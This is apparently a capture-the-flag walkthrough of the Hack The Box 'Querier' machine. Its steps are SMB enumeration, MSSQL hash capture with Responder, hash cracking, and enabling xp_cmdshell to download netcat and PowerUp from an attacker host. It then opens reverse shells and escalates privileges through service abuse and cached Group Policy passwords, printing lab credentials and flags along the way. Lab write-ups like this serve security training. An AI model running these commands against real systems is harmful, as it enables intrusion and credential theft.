Querier

```
======================
|      QUERIER 10.10.10.125       |
======================
```

InfoGathering

```
--------------------------------------------------------------------------------
OPEN PORTS
--------------------------------------------------------------------------------
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds

--------------------------------------------------------------------------------
SQL INFORMATION
--------------------------------------------------------------------------------
1433/tcp open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763

--------------------------------------------------------------------------------
SMB INFORMATION
--------------------------------------------------------------------------------
Sharename     |   Type    |  Comment
--------------------------------------------------------------------------------
  ADMIN$        |    Disk    |    Remote Admin
  C$            |    Disk    |    Default share
  IPC$          |    IPC     |    Remote IPC
  Reports       |   Disk     |
```

Gaining Access

```
--------------------------------------------------------------------------------------------------------------------
SMB PORT IS OPEN. LETS SEE WHAT DIRECTORIES WE CAN FIND
--------------------------------------------------------------------------------------------------------------------
smbclient -L 10.10.10.125
```

```
root@kali:~/HTB/boxes/Querier# smbclient -L 10.10.10.125
Enter WORKGROUP\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
```

Reports is unusual as it does not have Comment next to it like the others. We check that out first.
smbclient \\10.10.10.125\Reports
Enter WORKGROUP\root's password:
smb: \> ls
  Currency Volume Report.xlsm   A   12229 Sun Jan 27 23:21:34 2019
smb: \> get "Currency Volume Report.xlsm"

  username: `reporting`

  password: `PcwTWTHRwryjc$c6`

LOGIN TO SQL CLIENT
python mssqlclient.py QUERIER/reporting:PcwTWTHRwryjc\$c6@10.10.10.125 -windows-auth

```
root@kali:~/HTB/boxes/Querier# python mssqlclient.py QUERIER/reporting:PcwTWTHRwryjc\$c6@10.10.10.125 -windows-auth
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> _
[HTB] 0:openvpn- 1:python*
```

XP_CMDSHELL CAN NOT BE TURNED ON BY THIS USER. WE SET UP RESONDER TO TRY TO GET ANOTHER USER

```
SQL> declare @q varchar(99);set @q='\\10.10.14.2\test'; exec master.dbo.xp_dirtree @q
subdirectory                                                                    depth
------------------------------------------------------------------------------------
------------------------------------------------------------------   -----------
SQL> EXEC sp_configure 'show advanced options', 1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL> _
[HTB] 0:openvpn  1:SQL* 2:responder- 3:bash
```

responder -I tun0

ISSUE THIS COMMAND IN SQL AND CHECK RESPONDER

---

declare @q varchar(99);set @q='\\10.10.14.12\test'; exec master.dbo.xp_dirtree @q

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.125
[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Hash : mssql-svc::QUERIER:
4fe9dfdefdc123f3:74C2B3BA05CC5FE218272B7443091FE6:0101000000000000C0653150DE09D2016A635
049004E002D0050005200480034003900320052005100410046005600040014005300 4D00420033002E00
3002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0
A9F51B796556540FEB7CCDFEB756A0A001000000000000000000000000000000000000000900200063006900
[*] Skipping previously captured hash for QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Client : 10.10.10.125
[SMBv2] NTLMv2-SSP Username : \gX
[SMBv2] NTLMv2-SSP Hash : gX:::e0fcb96f4430072c::
[*] Skipping previously captured hash for \gX

CRACK THE HASH

(If you havent already, unpack the rockyou.txt.gz file)
gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=netntlmv2 hash.txt --wordlist=/usr/share/worldists/rockyou.txt
NOTE: If you are like me and hashcat doesnt work on your machine because the developers cant make an application that works with 16Gb of RAM and GEForce Video Card and an i7 Processor 3.2Ghz you can use John. Hashcat would be great if it didnt suck.
hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt --force

---
HASH AFTER CRACK
---
username: `mssql-svc`
password: `corporate568`

To bad hashcat doesn't work for sh**. It could have cracked that.

LOGIN TO SQL WITH NEW CREDS AND TURN ON XP_CMDSHELL
---
python mssqlclient.py QUERIER/mssql-svc:corporate568@10.10.10.125 -windows-auth

Enter the below commands into SQL.
```
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
```

```
root@kali:~/HTB/boxes/Querier# python mssqlclient.py QUERIER/mssql-svc:corporate568@10.10.10.125 -windows-auth
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC sp_configure 'show advanced options', 1
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> EXEC sp_configure 'xp_cmdshell', 1
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> _
[HTB] 0:openvpn  1:SQL* 2:responder- 3:bash
```

NOW UPLOAD FILES AND CREATE A REVERSE SHELL

Use the python Simple HTTP Server Module to server the files you want uploaded.
python -m SImpleHTTPServer

EXEC xp_cmdshell ‘powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/nc64.exe -OutFile C:\Users\mssql-svc\nc64.exe"’
(netcat for windows)

```
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/nc64.exe -OutFile C:\Users\mssql-svc\nc64.exe"'
output

--------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------
NULL

SQL> EXEC xp_cmdshell 'dir C:\Users\mssql-svc'
output

--------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------
 Volume in drive C has no label.

 Volume Serial Number is FE98-F373

NULL

 Directory of C:\Users\mssql-svc

NULL

03/05/2019  12:03 AM    <DIR>          .

03/05/2019  12:03 AM    <DIR>          ..

01/28/2019  11:42 PM    <DIR>          3D Objects

01/28/2019  11:42 PM    <DIR>          Contacts

01/28/2019  11:42 PM    <DIR>          Desktop

01/28/2019  11:42 PM    <DIR>          Documents

01/28/2019  11:42 PM    <DIR>          Downloads

01/28/2019  11:42 PM    <DIR>          Favorites

01/28/2019  11:42 PM    <DIR>          Links

01/28/2019  11:42 PM    <DIR>          Music

03/05/2019  12:03 AM            43,696 nc64.exe

01/28/2019  11:42 PM    <DIR>          Pictures_
[HTB] 0:openvpn  1:SQL* 2:responder  3:http-
```

As we can see in the image above I verified the application was uploaded. I also want to upload PowerUp.ps1
EXEC xp_cmdshell ‘powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/PowerUp.ps1 -OutFile C:

\Users\mssql-svc\PowerUp.ps1"'

EXECUTE COMMANDS USING XP_CMDSHELL
SQL> EXEC xp_cmdshell 'C:\Users\mssql-svc\nc64.exe 10.10.14.2 8088 -e powershell'

```
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8080/PowerUp.ps1 -OutFile C:\Users\mssql-svc\PowerUp.ps1"'
SQL> EXEC xp_cmdshell 'C:\Users\mssql-svc\nc64.exe 10.10.14.2 8088 -e powershell'

[HTB] 0:openvpn  1:SQL* 2:responder  3:http  4:netcat-
```

Now we have a shell!!! No thanks to that garbage hashcat.

```
root@kali:~/HTB/boxes/Querier# nc -lvnp 8088
listening on [any] 8088 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.125] 49681
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> _
```

PWN USER FLAG

```
PS C:\Users\mssql-svc\Desktop> ls
ls


    Directory: C:\Users\mssql-svc\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/28/2019  12:08 AM             33 user.txt


PS C:\Users\mssql-svc\Desktop> Get-Content user.txt
Get-Content user.txt
c37b41bb669da345bb14de50faab3c16
PS C:\Users\mssql-svc\Desktop> _
[HTB] 0:openvpn  1:SQL- 2:responder  3:http  4:netcat*
```

type user.txt
c37b41bb669da345bb14de50faab3c16

PrivEsc

IMPORT POWERUP MODULE
PS C:\users\mssql-svc> Import-Module ./PowerUp.ps1
PS C:\users\mssql-svc> Get-ModifiableService

```
PS C:\Users\mssql-svc> Import-Module ./PowerUp.ps1
Import-Module ./PowerUp.ps1
PS C:\Users\mssql-svc> Get-ModifiableService
Get-ModifiableService


ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
```

Now we know we can abuse the service UsoSvc so lets do it. Open another netcat listener.
nc -lvnp 8087

PS C:\users\mssql-svc> Invoke-ServiceAbuse -Name 'UsoSvc' -command "C:\Users\mssql-svc\nc64.exe 10.10.14.28 8087 -e powershell"

```
root@kali:~/HTB/boxes/Querier# nc -lvnp 8087
listening on [any] 8087 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.125] 49684
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> hostname
hostname
QUERIER
PS C:\Windows\system32> _
```

```
    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         1/28/2019  12:08 AM             33 root.txt


PS C:\Users\Administrator\Desktop> Get-Content root.txt
Get-Content root.txt
b19c3794f786a1fdcf205f81497c3592
PS C:\Users\Administrator\Desktop> _
[HTB] 0:openvpn  1:SQL  2:responder  3:http  4:netcat- 5:nc2*
```

cd C:\Users\Administrator\Desktop
type root.txt
b19c3794f786a1fdcf205f81497c3592

==========
OR TO GET ROOT WE CAN DO THE FOLLOWING
==========
Invoke-AllChecks

```
[*] Checking for cached Group Policy Preferences .xml files....


Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
```

INVOKE-ALLCHECKS GIVES US ADMIN CREDS
[*] Checking for cached Group Policy Preferences .xml files....
Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File   : C:\ProgramData\Microsoft\Group

username: `Administrator`
password: `MyUnclesAreMarioAndLuigi!!1!